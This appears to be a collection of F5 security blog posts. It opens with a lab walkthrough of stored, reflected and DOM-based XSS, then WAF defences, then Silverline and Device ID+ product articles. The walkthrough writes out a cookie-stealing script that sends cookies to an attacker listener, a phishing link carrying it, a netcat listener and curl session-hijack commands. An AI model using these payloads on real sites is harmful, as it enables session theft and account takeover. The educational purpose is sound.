Cross Site Scripting (XSS) Exploit Paths
Introduction Web application threats continue to cause serious security issues for large corporations and small businesses alike. In 2016, even the smallest, local family businesses have a Web presence, and it is important to understand the potential attack surface in any web-facing asset, in order to properly understand vulnerabilities, exploitability, and thus risk. The Open Web Application Security Project (OWASP) is a non-profit organization dedicated to ensuring the safety and security of web application software, and periodically releases a Top 10 list of common categories of web application security flaws. The current list is available at https://www.owasp.org/index.php/Top_10_2013-Top_10 (an updated list for 2016/2017 is currently in data call announcement), and is used by application developers, security professionals, software vendors and IT managers as a reference point for understanding the nature of web application security vulnerabilities. This article presents a detailed analysis of the OWASP security flaw A3: Cross-Site Scripting (XSS), including descriptions of the three broad types of XSS and possibilities for exploitation. Cross Site Scripting (XSS) Cross-Site Scripting (XSS) attacks are a type of web application injection attack in which malicious script is delivered to a client browser using the vulnerable web app as an intermediary. The general effect is that the client browser is tricked into performing actions not intended by the web application. The classic example of an XSS attack is to force the victim browser to throw an ‘XSS!’ or ‘Alert!’ popup, but actual exploitation can result in the theft of cookies or confidential data, download of malware, etc. Persistent XSS Persistent (or Stored) XSS refers to a condition where the malicious script can be stored persistently on the vulnerable system, such as in the form of a message board post. Any victim browsing the page containing the XSS script is an exploit target. This is a very serious vulnerability as a public stored XSS vulnerability could result in many thousands of cookies stolen, drive-by malware downloads, etc. As a proof-of-concept for cookie theft on a simple message board application, consider the following: Here is our freshly-installed message board application. Users can post comments, admins can access the admin panel. Let’s use the typical POC exercise to validate that the message board is vulnerable to XSS: Sure enough, it is: Just throwing a dialog box is kinda boring, so let’s do something more interesting. I’m going to inject a persistent XSS script that will steal the cookies of anyone browsing the vulnerable page: Now I start a listener on my attacking box, this can be as simple as netcat, but can be any webserver of your choosing (python simpleHTTPserver is another nice option). dsyme@kylie:~$ sudo nc -nvlp 81 And wait for someone – hopefully the site admin – to browse the page. The admin has logged in and browsed the page. Now, my listener catches the HTTP callout from my malicious script: And I have my stolen cookie PHPSESSID=lrft6d834uqtflqtqh5l56a5m4 . Now I can use an intercepting proxy or cookie manager to impersonate admin. Using Burp: Or, using Cookie Manager for Firefox: Now I’m logged into the admin page: Access to a web application CMS is pretty close to pwn. From here I can persist my access by creating additional admin accounts (noisy), or upload a shell (web/php reverse) to get shell access to the victim server. Bear in mind that using such techniques we could easily host malware on our webserver, and every victim visiting the page with stored XSS would get a drive-by download. Non-Persistent XSS Non-persistent (or reflected) XSS refers to a slightly different condition in which the malicious content (script) is immediately returned by a web application, be it through an error message, search result, or some other means that echoes some part of the request back to the client. Due to their nonpersistent nature, the malicious code is not stored on the vulnerable webserver, and hence it is generally necessary to trick a victim into opening a malicious link in order to exploit a reflected XSS vulnerability. We’ll use our good friend DVWA (Damn Vulnerable Web App) for this example. First, we’ll validate that it is indeed vulnerable to a reflected XSS attack: It is. Note that this can be POC’d by using the web form, or directly inserting code into the ‘name’ parameter in the URL. Let’s make sure we can capture a cookie using the similar manner as before. Start a netcat listener on 192.168.178.136:81 (and yes, we could use a full-featured webserver for this to harvest many cookies), and inject the following into the ‘name’ parameter: <SCRIPT>document.location='http://192.168.178.136:81/?'+document.cookie</SCRIPT> We have a cookie, PHPSESSID=ikm95nv7u7dlihhlkjirehbiu2 . Let’s see if we can use it to login from the command line without using a browser: $ curl -b "security=low;PHPSESSID=ikm95nv7u7dlihhlkjirehbiu2" --location "http://192.168.178.140/dvwa/" > login.html $ dsyme@kylie:~$ egrep Username login.html <div align="left"><em>Username:</em> admin<br /><em>Security Level:</em> low<br /><em>PHPIDS:</em> disabled</div> Indeed we can. Now, of course, we just stole our own cookie here. In a real attack we’d be wanting to steal the cookie of the actual site admin, and to do that, we’d need to trick him or her into clicking the following link: http://192.168.178.140/dvwa/vulnerabilities/xss_r/?name=victim<SCRIPT>document.location='http://192.168.178.136:81/?'+document.cookie</SCRIPT> Or, easily enough to put into an HTML message like this. And now we need to get our victim to click the link. A spear phishing attack might be a good way. And again, we start our listener and wait. Of course, instead of stealing admin’s cookies, we could host malware on a webserver somewhere, and distribute the malicious URL by phishing campaign, host on a compromised website, distribute through Adware (there are many possibilities), and wait for drive-by downloads. The malicious links are often obfuscated using a URL-shortening service. DOM-Based XSS DOM-based XSS is an XSS attack in which the malicious payload is executed as a result of modification of the Document Object Model (DOM) environment of the victim browser. A key differentiator between DOM-based and traditional XSS attacks is that in DOM-based attacks the malicious code is not sent in the HTTP response from server to client. In some cases, suspicious activity may be detected in HTTP requests, but in many cases no malicious content is ever sent to or from the webserver. Usually, a DOM-based XSS vulnerability is introduced by poor input validation on a client-side script. A very nice demo of DOM-based XSS is presented at https://xss-doc.appspot.com/demo/3. Here, the URL Fragment (the portion of the URL after #, which is never sent to the server) serve as input to a client-side script – in this instance, telling the browser which tab to display: Unfortunately, the URL fragment data is passed to the client-side script in an unsafe fashion. Viewing the source of the above webpage, line 8 shows the following function definition: And line 33: In this case we can pass a string to the URL fragment that we know will cause the function to error, e.g. “foo”, and set an error condition. Reproducing the example from the above URL with full credit to the author, it is possible to inject code into the error condition causing an alert dialog: Which could be modified in a similar fashion to steal cookies etc. And of course we could deface the site by injecting an image of our choosing from an external source: There are other possible vectors for DOM-based XSS attacks, such as: Unsanitized URL or POST body parameters that are passed to the server but do not modify the HTTP response, but are stored in the DOM to be used as input to the client-side script. An example is given at https://www.owasp.org/index.php/DOM_Based_XSS Interception of the HTTP response to include additional malicious scripts (or modify existing scripts) for the client browser to execute. This could be done with a Man-in-the-Browser attack (malicious browser extensions), malware, or response-side interception using a web proxy. Like reflected XSS, exploitation is often accomplished by fooling a user into clicking a malicious link. DOM-based XSS is typically a client-side attack. The only circumstances under which server-side web-based defences (such as mod_security, IDS/IPS or WAF) are able to prevent DOM-based XSS is if the malicious script is sent from client to server, which is not usually the case for DOM-based XSS. As many more web applications utilize client-side components (such as sending periodic AJAX calls for updates), DOM-based XSS vulnerabilities are on the increase – an estimated 10% of the Alexa top 10k domains contained DOM-based XSS vulnerabilities according to Ben Stock, Sebastian Lekies and Martin Johns (https://www.blackhat.com/docs/asia-15/materials/asia-15-Johns-Client-Side-Protection-Against-DOM-Based-XSS-Done-Right-(tm).pdf). Preventing XSS XSS vulnerabilities exist due to a lack of input validation, whether on the client or server side. Secure coding practices, regular code review, and white-box penetration testing are the best ways to prevent XSS in a web application, by tackling the problem at source. OWASP has a detailed list of rules for XSS prevention documented at https://www.owasp.org/index.php/XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet. There are many other resources online on the topic. However, for many (most?) businesses, it may not be possible to conduct code reviews or commit development effort to fixing vulnerabilities identified in penetration tests. In most cases, XSS can be easily prevented by the deployment of Web Application Firewalls. Typical mechanisms for XSS-prevention with a WAF are: Alerting on known XSS attack signatures Prevention of input of <script> tags to the application unless specifically allowed (rare) Prevention of input of < ,> characters in web forms Multiple URL decoding to prevent bypass attempts using encoding Enforcement of value types in HTTP parameters Blocking non-alphanumeric characters where they are not permitted Typical IPS appliances lack the HTTP intelligence to be able to provide the same level of protection as a WAF. For example, while an IPS may block the <script> tag (if it is correctly configured to intercept SSL), it may not be able to handle the URL decoding required to catch obfuscated attacks. F5 Silverline is a cloud-based WAF solution and provides native and quick protection against XSS attacks. This can be an excellent solution for deployed production applications that include XSS vulnerabilities, because modifying the application code to remove the vulnerability can be time-consuming and resource-intensive. Full details of blocked attacks (true positives) can be viewed in the Silverline portal, enabling application and network administrators to extract key data in order to profile attackers: Similarly, time-based histograms can be displayed providing details of blocked XSS campaigns over time. Here, we can see that a serious XSS attack was prevented by Silverline WAF on September 1 st : F5 Application Security Manager (ASM) can provide a similar level of protection in an on-premise capacity. It is of course highly recommended that any preventive controls be tested – which typically means running an automated vulnerability scan (good) or manual penetration test (better) against the application once the control is in place. As noted in the previous section, do not expect web-based defences such as a WAF to protect against DOM-based XSS as most attack vectors do no actually send any malicious traffic to the server.Real Attack Stories - The Largest DDoS Attack in Silverline History
A global financial customer was the victim of the largest Distributed Denial of Service (DDoS) attack in the history of Silverline. The peak traffic hit 840 Gbps during this attack! Fortunately, Silverline was able to stop the attack, and the financial company (and their customers) never saw any degraded service at all. To learn more about this attack, check out the video!
Pure Azure AD SSO authentication with Silverline
Hi, We're trying to integrate SIlverline with Azure AD but haven't quite got it to work correctly. It appears that Silverline passes the autentication to Azure AD and this does complete successfully but Silverline then simply reports "Could not authenticate you via SAML because "Invalid Token". My guess is we need to map the correct attributes in Azure AD to send back to Silverline in the SAML response but cannot seem to find anything. There is no on-prem AD or AADDS available - it's just pure Azure AD. Has anybody done this and would be able to share what they did.F5 SIRT’s Top Reported Security Incidents, 2018-2020
The F5 Security Incident Response Team helps customers tackle security incidents in real time. In 2020, we talked about what happened in the beginning of the pandemic based on #F5 #SIRT cases. Now we're looking back at all F5 SIRT cases from the beginning of 2018 to the end of 2020 and break down what changed and what didn’t in the cyberthreat landscape because of the pandemic. So, let’s start the clock to look at SIRT’s Top Reported Security Incidents, 2018-2020. Get the full article: Denial-Of-Service and Password Login Attacks Top Reported Security Incidents, 2018-2020
Building a Fraud Profile with Device ID+ (Part 2 - Analytics and Reporting)
Overview Today there are at least 4.9 million websites using reCAPTCHA, including 28% of the Alexa top 10,000 sites. Google’s reCAPTCHA service is a free offering and developers have been using it for years to try and defend against automation. Many cyber security vendors embed it in their core offering where customers pay subscription service fees for these vendors to “manage” reCAPTCHA and the data it produces. TL;DR - reCAPTCHA is probably causing revenue leakage, false positives and allowing abuse of the web properties that it’s deployed on. How do I know? Watch this demo video I put together the other day. The link is time bookmarked to start at 5:13. The video shows me logging in across 2 different browser sessions and reCAPTCHA returning false positives. Additionally, a simple search on Google or Github reveals the problems that developers face when using reCAPTCHA. reCAPTCHA is embedded into the web’s top sites because it’s free and seems to work. Or does it? What do I mean by “seems to work”? It depends on the business and the type of website, but “works” in this context typically means making the bot or automation problem go away. While developers have been laser focused on solving problems around bot nets, fraudulent users, and overall noise hitting the system, they’ve forgotten about user friction and revenue. In fact, revenue and user friction may be an afterthought for most developers because they don’t see the opportunity to remove friction and again, they have tunnel vision on fixing one particular problem. (For the record I’m not blaming developers, just stating the reality of most engineering organizations and how tasks are managed.) Let’s take a step back. Fraud detection is a framework within web applications and the creation and ongoing maintenance warrants a good bit of architecture and thought. That’s why I’ve been on a pursuit to research and expose the development of a “Fraud Framework” or “Fraud Profile” across the cybersecurity industry. I want to give developers a resource for greenfield projects and rewrites. A place that is open and information flows freely to make the web a safer place. That’s why I started the conversation in Part 1 and I plan on writing as many articles as possible to open up this well-kept secret across the industry. Experienced security engineers are highly sought after because they have been through the pains of developing these systems and architectures. Not only creating them, but making use of the fraud data that they generate. My goal is to make this knowledge freely accessible through this series of articles. This article and video serve as a stepping-stone in my research. In Part 1, we reviewed a simple NodeJS web application that implements a device identifier service to keep the existing fraud system in check, remove user friction and defend against fraudulent activity. The article demonstrates how to add F5’s Device ID+ to an existing application that already uses a basic bot defense or fraud scoring system – in this case reCAPTCHA. Let’s take a look at the live data from our example application deployed at deviceid.dev/v3 to: Analyze user login and transactional scoring data. Understand how well our fraud scoring system is working by looking at good user data. Gain insight into how Device ID+ improves Fraud analytics. Find areas to make changes to our application to remove user friction. Conclusion and Next Steps The example analysis of our Fraud Profile is just the beginning of what can be accomplished with a trustable device identifier. Analytics around user behavior and malicious intent can now be uncovered in new ways in fraud reporting. Device ID+ usage spans a broad set of use cases across the enterprise and is complementary to any existing fraud or bot solutions. If you have input or ideas on how you’d like me to extend this article series, please mention them in the comments below. For more information regarding the technical details around Device ID+, see the documentationhere. If you’d like to add Device ID+ to your own application, you can sign up for a free accounthere.Building a Fraud Profile with Device ID+ (Part 1)
Overview End-to-end architecture for IT fraud and security systems is an opaque space and best practices are usually held within the silos of large corporate cybersecurity teams - and for good reason. Cyber vendors are often the only ones who can connect the dots across customers and find pain points that need to be solved. Luckily for me, I have been able to sit down with security experts across all major industry verticals to discuss those pain points. For years, I have assisted their usage of cybersecurity point solutions (e.g., WAF, Bot, Fraud, etc.) from the perspective of API security, server-side exploits, client-side vulnerabilities, and so on. One piece of technology that is common across all cybersecurity architectures is some form of end user or device identifier. It is the single thread that runs across the entire technology stack and each organization uses it to drive fraud prevention and critical business analytics. Creation of an identifier starts when users interact with an application and provide input to it. Normally this happens when the user logs in, creates a new account, or creates a post or comment. This identifier is typically a traditional cookie from a browser fingerprinting solution created in-house or supplied by a third-party service. It is the way organizations identify and track their users and ultimately how they improve their business. At F5, we help security teams across the world’s top organizations understand their users better. Are they lying about their identity? Are they a known good user? Are they committing fraud, or do they appear to be malicious? We have made a large investment (see Shape Security) in creating an identifier that is based on unique signals and, most importantly, trusted by the security and fraud teams who use it. This identifier is known as Device ID+ and it is now available as a free service to anyone who wants to use it. Device ID+ Device ID+ was created to address the following problems with existing web-based identifiers and fingerprinting solutions: Over 30% of users cannot be tracked due to cookie churn. Frequent changes due to the likelihood that one browser will create multiple identifiers. Identifiers are reset after users clear the cache or go into incognito mode. Device ID+ leverages JavaScript to create an identifier that solves the issues of traditional user tracking through cookies. Developers can include a simple JavaScript tag (as shown in the example code) and use it in their application to determine if a user account is good, bad, encountering a bad user experience, has been compromised, and more. One of the major strengths of Device ID+ is that it persists across users who clear or reset their browser and you’ll have an opportunity to see this in action below. The purpose of this article is to give you a quick rundown on what Device ID+ is, why it’s important, and how to use it within your application. As a demonstration, I am going to inject Device ID+ into an existing login form that uses Google’s reCAPTCHA service. Google reCAPTCHA Google reCAPTCHA is the service that shows you pictures of things to verify that you are human. I am not going to address some of the most critical shortcomings of the reCAPTCHAapproach but since it’s a free service and many websites use it to manage bots, I thought it would make a great example on how Device ID+ can be used to strengthen any existing bot or WAF solution. In later articles we’ll trace Device ID+ from its creation to its consumption in fraud analytics. Preventing Application Abuse Since all users are born or recognized at login, I’m going to start with a simple login form. Login is where most of the fraud and malicious activity start and that’s why reCAPTCHA has been used over the years as a free service to try to prevent abuse. Today we are going to create what’s known as a Fraud Profile with Device ID+ and we’ll use it in later articles to super charge our fraud analytics and gain visibility into things like: Fraudulent behavior of automated bots Fraudulent or malicious posts and commenting Fraudulent user account creation Good user friction and unnecessary CAPTCHA challenges About the Demo Application This is a very simple demo application that shows how to layer Device ID+ into an existing application. See it in action at https://deviceid.dev/v3 If you wish to run this example locally as a Docker container, you can deploy it with the following command after installing Docker: docker run -d -p 80:8000 wesleyhales/deviceid.dev Open a browser and visit: http://localhost/v3 Demo Walkthrough For starters, go ahead and login to the application with your email address or any made-up value for the username. There’s no need to enter a password. Fig. 1-1 After you click Submit, you will see a description of the data that was captured. This is our Fraud Profile (Fig 1-2) that we have created for our users. It uses Device ID+ to encapsulate the reCAPTCHA score along with a timestamp of when the transaction took place. Fig. 1-2 Fraud Profiles are viewed differently across the cybersecurity industry. Some security teams build Fraud Profiles around credit card transaction data and others build them throughout specific flows across web pages. Device ID+ can be applied to any Fraud Profile and is built to be used on every page of the application. The more you use it, the more you can enhance good user experiences and/or eliminate actual fraud. The following JSON shows how the example app adds a reCAPTCHA signal to our Device ID+ Fraud Profile: Example of Device ID+ based Fraud Profile Fig. 1-3 Normally, developers would simply capture the score returned from the server side reCAPTCHA API and take action (0.9 in Fig 1-3 above). This score might be used in the authentication logic within the application, simply allowing the user to login if it’s above 0.7. It might also be sent downstream with additional user data to be recorded in a SIEM. The Device ID+ based Fraud Profile provides a structure around existing “scores” or data. This gives us an extendable framework that is decoupled from existing solutions and makes the identifier technology abstract. In our Fraud Profile, the Device ID+ information is located immediately following the username for a couple of reasons: Now we can identify how many different devices a single username is using. Is this account being shared? Is it compromised? Does it violate our terms of service? All of this can be answered by using Device ID+ under the system wide unique identifier (usually this is the username, or an email address as seen in the example). It also brings visibility to important user experience unknowns. Is this a good user who spends money regularly but is encountering too many reCAPTCHA challenges? It is a way to keep your current bot or fraud verification system in check to ensure friction is removed for your good user interactions. The Differentiator As users log in, they will acquire a new Device ID+ cookie which contains the following values. Fig. 1-4 diA is known as the “residue-based identifier”. It is the main identifier used directly after the username in our example. This value is stored locally on the device and may be deleted if the user clears their local storage or cookies. diB is known as the “attribute-based identifier”. This value will remain the same even when the user clears local storage. Keep in mind, it can change if the user upgrades their browser version as it is based on environment signals that remain consistent across browser versions. One easy way to test this feature is to log into the demo application with the same email address twice but using two different browser sessions. Login once in your regular browser and login again with the same browser in incognito mode. Fig. 1-5 In Figure 1-5, we see that the Device ID+ residue values are different for a single username, but the Device ID+ attribute is the same. Conclusion and Next Steps Now that we understand what makes the Device ID+ identification service unique, we can begin to craft ways to take advantage of it in our business analytics. In part 2 of this article series, we are going to analyze the user data from the live demo at https://deviceid.dev/v3 to visualize anomalies and areas where user friction might be occurring. Device ID+ usage spans a broad set of use cases across the enterprise and is complementary to any existing fraud or bot solutions. If you have input or ideas on how you’d like me to extend this article series, please mention them in the comments below. For more information regarding the technical details around Device ID+, see the documentation here. If you’d like to add Device ID+ to your own application, you can sign up for a free account here.
Introducing App Proxies for F5 Silverline
Introduction When F5 Silverline was first introduced to the market back in 2014, the service was heavily focused on DDoS Mitigation through our globally dispersed Scrubbing centers. Traffic handling and customer configuration was very network focused and IP based. However with well documentation limitations of available IPv4 address spaces, combined with the need for greater agility of our Layer 7 Application services a new Proxy configuration construct was needed to help scale the F5 Silverline cloud service to a new Regional POP (point of presence) based architecture. Historically all Application level configuration through the Silverline service was provisioned through our Classic Proxy methodology, however this functionality had a variety of limitations, so is slowly being deprecated within the Portal. These Classic Proxies, have now been replaced by two separate Proxy configuration objects. Any customers using the Silverline Portal today will see the following two Proxy types, the DDoS Proxy, and the Application Proxy. The DDoS Proxies, support TCP, UDP and DNS based configuration elements, focused on cleaning and controlling traffic flow to a customer’s infrastructure. Details of what can and can’t be configured through these constructs will be discussed in a future article, but for now we will focus on the Application Proxies, or “App Proxy” for short. What is on App Proxy? An App Proxy is the friendly name we use for the logical configuration construct within the Silverline customer portal. Each Application or website a customer wishes to protect will typically have it’s own App Proxy configured via the portal, for the relevant configuration objects to be automatically deployed across the globe within the Silverline cloud service. An App Proxy allows for a single configuration construct that includes objects for the Incoming expected URL’s for traffic to ingress in to the Silverline service, as well as the Back End configuration objects for your Application Origin Servers. The Construct also of course includes or the Security profiles that you wish to be applied by the Silverline service to protect and secure your application traffic from threats and attacks, before forwarding the good and clean traffic on to your App. F5 Silverline Web Application Firewall service does act as a Full Proxy configuration, so the returning traffic from your App to the client will also traverse the Silverline cloud, and the response will also be inspected and checked for security purposes. Why should you use them? For all new customers subscribing to F5 Silverline today, will see the App Proxy construct as the most logical way to provision Application services to their protected Apps, but for existing customers currently configured with Classic Proxies may need guidance for why to migrate to the new Proxy type, so lets run through some of the reasons to opt for an App Proxy. Firstly in order to leverage the new Regional POP’s (rPOP) for your Application Security, then the App Proxy construct is the only way to gain access to them. I’ll go into a little bit more detail as to why this is in the next section, but primarily this is to do with the way CNAMEs are issues to the App Proxy, in order to Globally Load Balance traffic to your Application from users based all across the globe. The next reason to use them, is because they are very easy to use, and act as a single logical construct for all your Application security needs. Within the App Proxy, you can apply a variety of security policies, such as, a Web Application Firewall (or WAF) policy, a Layer 7 DDoS Profile, a Shape powered Anti-Bot profile, a Threat Intelligence Profile, and the additional benefits of F5 iRule’s for increased security and functionality. The App Proxy construct also facilitates a single place to configured all your TLS & SSL needs for handling both Client-side and Server-side SSL certificates and ciphers. In June 2020, we also introduced a new Service to the Silverline portfolio, with the introduction of F5 Silverline Shape Defense, this innovative new Service is designed to protect your web applications from automated bot attacks to prevent large-scale fraud, inflated operational costs, and friction for your end users. The configuration of Silverline Shape Defense, is only supported through the new App Proxy construct, and provides a collective defense strategy to detect and block automate bot traffic. A great example of how effective the combination of the Silverline Service is to defend against automated attacks such as Credential Stuffing, can be found on our YouTube Real Attack Stories playlist HERE How do they work? If you're still not convinced by the advantages you can gain from our App Proxies, then maybe we should look at their configuration and functionality in a bit more detail. First let’s look at some of the configuration options in the App Proxy: Shown here is an example of the configuration for the Front End and Back End section of a new App Proxy in the Silverline Portal. There are several items that need to be defined by the customer, including the display name for the App Proxy, which would typically be something logical and relating to the purpose of the App we are protecting. The more important field in the Blue section, is the Fully Qualified Domain Name, which needs to be correct for the URL of the Application we are going to receive traffic for. During the provisioning of the App Proxy, the Silverline Portal will automatically assign a CNAME in the f5silverline.com domain space, which will be used to redirect traffic to the Silverline service. (more on this shortly) There are a couple of additional fields, for adding some descriptive notes, and also the ability for you to define custom Tags, as part of the Silverline Role Based Access Control (RBAC) configuration, which allow for granular access control to configuration objects and data analytics by user. The Back End Section allows you to define either an IP Address, or a DNS name for the Back-end or Origin Server of your Application. You can then select which of the Silverline Points of Presence you wish to deploy the configuration of the App Proxy too. You can choose to select them all, or just the ones in which you wish the Silverline Service to be able to Decrypt any HTTPS related traffic, which could help address any compliance or performance needs. Now this is where things start to get interesting! As well as the flexibility to select which POP’s you wish to deploy your App Proxy too, you also have the ability to configure Multiple different Back-ends. Which means, that if you have your Application hosted in multiple different locations, you can configure each one individually as needed, and then select only the Silverline POP’s from the same regions as your own Datacenters, or Public Cloud hosted Apps. We of course being F5 will handle all the Load Balancing and Global Server Load balancing as needed to ensure data is ingressed in to Silverline at the closet point to the users, and exits Silverline at the closest point , and with the optimum route to you back-end origin servers, regardless of how simple or complex the configuration becomes. After setting up the Front and Back end configuration, you can then move to the HTTP or HTTPS Service tab to start to define your security policies and profiles. If you have the Silverline Add-on service for Threat Intelligence, you can create a policy to block different threatening sources based on dynamic IP reputation categories: Most customers opt to block all the known bad IP address categories, but the flexibility is there for you to granularly control. You can specify the Ports: And the iRules you wish to apply to the App Proxy: If your leveraging the F5 Silverline Web Application Firewall service, this would also be the section where you can apply your WAF policies and any L7 DDoS configuration as well, but as both of these elements can be quite complex, I will be dedicating a future article to each of these topics individually. I’ll also be writing another article specifically relating to the F5 Silverline Shape Defense service, and the configuration options you would have in the Portal. Which would also be configured under the App Proxy construct, and even has it’s own full page of options. There are some other configurable options in the Advanced tab, which vary based on the objects and settings you configure in the App Proxy. Which we don’t have time to cover today. The one thing I did want to go in to more detail about however, is how traffic actually gets directed to your App Proxy, and the relevance of the CNAME I referenced earlier. Handling GSLB to App Proxies As a critical element to the Regional POP expansion and the App Proxy construct, we need to look in to a bit of detail about how DNS is used to direct traffic to the Silverline Service, in what we refer to as “Proxy Mode”. The Service can also use “Routed mode” the leverage BGP route advertisement to redirect all of your traffic through Silverline, but this is typically reserved for tour F5 Silverline DDoS Protection customers. In Proxy Mode, we need to leverage DNS in order to get traffic destined for your Websites and Applications, to be redirected first to the F5 Silverline Cloud for processing. So when you provision a new App Proxy in the Portal, you will be allocated a CNAME record that we specific bind to your App Proxy. In your own DNS system, you will then need to modify the DNS response for your relevant Application from its original IP, to the CNAME of the Silverline App Proxy. While you’re doing this, you can also set the TTL to a longer time period such as an Hour or more. The Silverline Service will automatically provision you a new GSLB record in our GSLB solution. We will set the TTL of this record to 30 seconds, to help with our dynamic autoscaling and orchestrated App Proxy deployment methodology. Depending on the number of POP’s you selected for the App Proxy, we will add the different dynamic IP addresses of the different Regional POP’s to the GSLB system. For each rPOP,your App Proxy GSLB record will be populated with 3 separate IP Addresses, to span different availability zones. As requests come in for different users in different regions’ around the globe, we will then issue the relevant IP address closest to the clients LDNS. Our primary Scrubbing centers, will typically leverage an IP Anycast address, which also gets added to the GSLB pool. It’s a difficult thing to put in to a single image, but here is an example of the GSLB style system for our App Proxies: This GSLB solution for App Proxies, provide a lot of benefits and flexibility for Global availability and the capability for us to dynamically scale the Silverline cloud platform as need demands. Are there any recently introduced App Proxy features? Also, in recent times, we have also just added support for “Multi-FQDN” support within a single App Proxy. This means, that as long as your Back-end Origin Servers can serve the content to each of the FQDN’s or URL’s of your application, then you can provision them all as a single App Proxy to save administrative overhead, and to simplify security and policy tuning. Each individual FQDN, can be define in the App Proxy Front end screen, and assigned the relevant Client-side SSL Profile. As shown in the example image below: As you then move through the Security Tabs of the App Proxy configuration page in the portal, you will be able to define which L7 DDoS Profile and WAF policy to assign to each or all of the define FQDN’s. Each defined FQDN, can then be handled by the same Silverline allocated CNAME DNS record, and handled by our GSLB solution. What are the benefits of F5 Silverline App Proxies? Hopefully you can now see what many of the benefits are for leveraging the new App Proxy construct within the F5 Silverline Portal for deploying you Layer 7 Security Services. They really are easy to use, and provide a single logical structure for all your Application Security needs. They have a great amount of flexibility and functionality to meet the changing needs of your applications. The use of CNAME records for traffic redirection through the Silverline Proxy mode, helps with dynamic scale and Global availability of your Apps. What does the future hold for App Proxies? For anyone familiar with F5 Silverline, you will know we operate a two week release cycle of Portal & Platform enhancements. All new Application delivery and Application Security features, will be built around the App Proxy construct. So if you want your Apps to benefit from the innovative new features in the roadmap for Silverline, now is the time to start to leverage the F5 Silverline App Proxy!Enhancing Silverline with F5 Device ID+
Setting the Scene If you haven’t heard already, F5 closed out the year of 2020 by announcing a new and completed free of charge service called F5 Device ID+. The free service is available for all F5 customers with up to 20 million devices. This number of 20 million, refers to the number of unique customer devices that visit your Websites, Applications, and Web based Services. The concept of a Device ID isn’t exactly a new thing, but the way it’s delivered by F5, and the fact that it’s offered at no cost, does make it a unique and revolutionary offering. We have already published a board range of information relating to the service, including a Video Introduction, and Introductory page on F5.com, as well as the getting Started documentation on F5 Cloud Docs. There are multiple ways to configure and consume the new F5 Device ID+ service, and the one we wanted to talk about today, was how and why to combine this new capability through the F5 Silverline Security-as-a-Service solution. What is F5 Device ID+? F5 Device ID+ is a real-time, high-precision device identifier that utilizes advanced signal collection and proven machine learning algorithms to assign a unique identifier to each device visiting your site. Deployment is simple, with immediate benefits for the security, networking, fraud, and digital teams. Never has understanding the unique devices visiting your applications been so easy. When each user visits your website, F5 Device ID+ leverages JavaScript to collect information about the browser, device’s OS, hardware, and network configuration. These attributes feed into F5 Device ID+ service built on F5 Shape’s industry-recognized AI and machine learning capabilities. The data is processed in real time, and a unique identifier is assigned to the device, unless it is already a known device. For returning devices, behaviour, actions, and other properties can be recorded, learned, and studied to facilitate the reduction of fraud and a smooth experience for known good users. Further information on the Use Cases for F5 Device ID+ can be found on the Product overview Datasheet What is F5 Silverline? F5 Silverline is a cloud-based security-as-a-service platform. That can be deployed in front of any application or app infrastructure no matter where they reside across the multi cloud world. It can deliver a broad range of services to secure those applications from emerging and sophisticated threats. F5 Silverline is a fully managed service that combines a 24 by 7 security operations center. With an industry leading technology platform. The SOC is populated with over 150 security experts on hand to facilitate policy lifecycle management and to analyze logs with you to look at threats and the mitigation actions instigated to block them. The Service is managed through an Easy to use customer Portal, which provides rich contextual dashboards, and a comprehensive knowledge base for customers wishing to be self-sufficient and maximise their return on investment. At present the Silverline service can be consumed as 3 primary standalone solutions, or combined together for holistic application and infrastructure protection. F5 Silverline DDoS Protection service, provides comprehensive, high performance protection from Distributed Denial of Service (DDoS) attacks, with real-time cloud scrubbing services. F5 Silverline Shape Defense solution, prevents a broad range of online automated fraud to keep your applications and digital assets safe, and Bot Free. F5 Silverline Web Application Firewall service, will help defend your application capital from emerging and sophisticated threats, to ensure business continuity for critical applications and your digital presence. We also have an additional Add on Service for F5 Silverline Threat Intelligence, which integrates dynamic lists of threatening addresses based on IP reputation to give additional context for policy decisions. All of these Services are designed to help organisations tackle the challenges of their digital transformation journey. And as of December 2020, we now also offer the F5 Device ID+ service to all F5 Silverline Customers, in order for the Silverline Cloud to inject the required Javascript in to all HTTPS traffic flow to Applications secured through the Silverline Service. Why enable F5 Device ID+ for F5 Silverline? F5 is the industry leader in Application Delivery and Application Security Services. F5 Silverline is the simplest and most cost effect way to deploy and operated a globally dispersed Application Services solution, and F5 Shape provides the most innovative and comprehensive range of anti-bot and anti-fraud solutions, with a laser focus on effectively identifying devices and their intentions. F5 Silverline provides a zero-effort way to activate and consume the F5 Device ID+ service, powered by the machine learning analysis of Device, Browser, network and environmental signals and telemetry discovered by the F5 Shape Cloud AI engine. Bringing these two great services together is a bit of a no brainer, and existing F5 Silverline customers, can simply flip a Toggle switch to get the HTTPS enabled applications provisioned to start processing traffic in real time, and assigning a unique identifier to every device interacting with your websites and Apps. If you're new to F5 and want to take advantage of this unique combination of Fully Managed Services, you can request a free trial of the F5 Silverline WAF or F5 Silverline Shape Defense at F5.com. How to Onboard Your Silverline Protected Applications with Device ID+ Device ID+ can only be configured on HTTPS services for Applications provisioned as an Application Proxy within the Silverline system. Application proxies are the recommended way to deploy HTTP & HTTPS Services to your protected Web Applications and allow you to take advantage of the Silverline Regional POPs and newer services such as Multi-FQDN configuration and Silverline Shape Defense. More information on the configuration and Application Proxies can be found on the support knowledge base HERE Navigate to the Application Proxy you wish to enable for Device ID+ and follow these steps to activate the configuration: 1.Navigate to the HTTPS Service on the Application Proxy 2.Navigate to the Shape Security Tab 3.Switch the DeviceID+ Toggle to the ON position 4.Fill in the Javascript Insertion Service Configuration section: a.Define the Shape Javascript Path – create a name for the Javascript you want to insert on to the pages i.Must be unique and cannot already be in use in your Application ii.Do Not Use a name that indicated Shape or Silverline in the path b.Define the Javascript Insertion Location – to indicate where you want the Javascript to be inserted in the page i.Before <script> ii.After <head> (our preferred option) iii.After <title> iv.Other – Customer-configured c.Specify any Excluded Paths – Define any HTTP Paths where you do NOT want to insert the F5 DeviceID+ Javascript If you are not able to locate the Shape Security Tab, or the Device ID+ Toggle switch, please contact the Silverline SOC for assistance. Working with an F5 Device ID+ Deployment In order for you to then be able to leverage the F5 Device ID+ identifiers, there will be some work that you need to do in your Application logic. Full details on how to work with this solution can be found on the F5 Cloud Docs website HERE You will find the details of the two unique identifiers the solution creates. residue-based identifier and an attribute-based identifier. The residue-based identifier is based on local storage and cookies. The attribute-based identifier is based on signals collected on the device. The two identifiers always have different values. The residue-based identifier will change whenever local storage is deleted, such as when a user clears cookies. We expect this identifier will have lower persistence and hence high divisions, that is, the same device might appear to have different 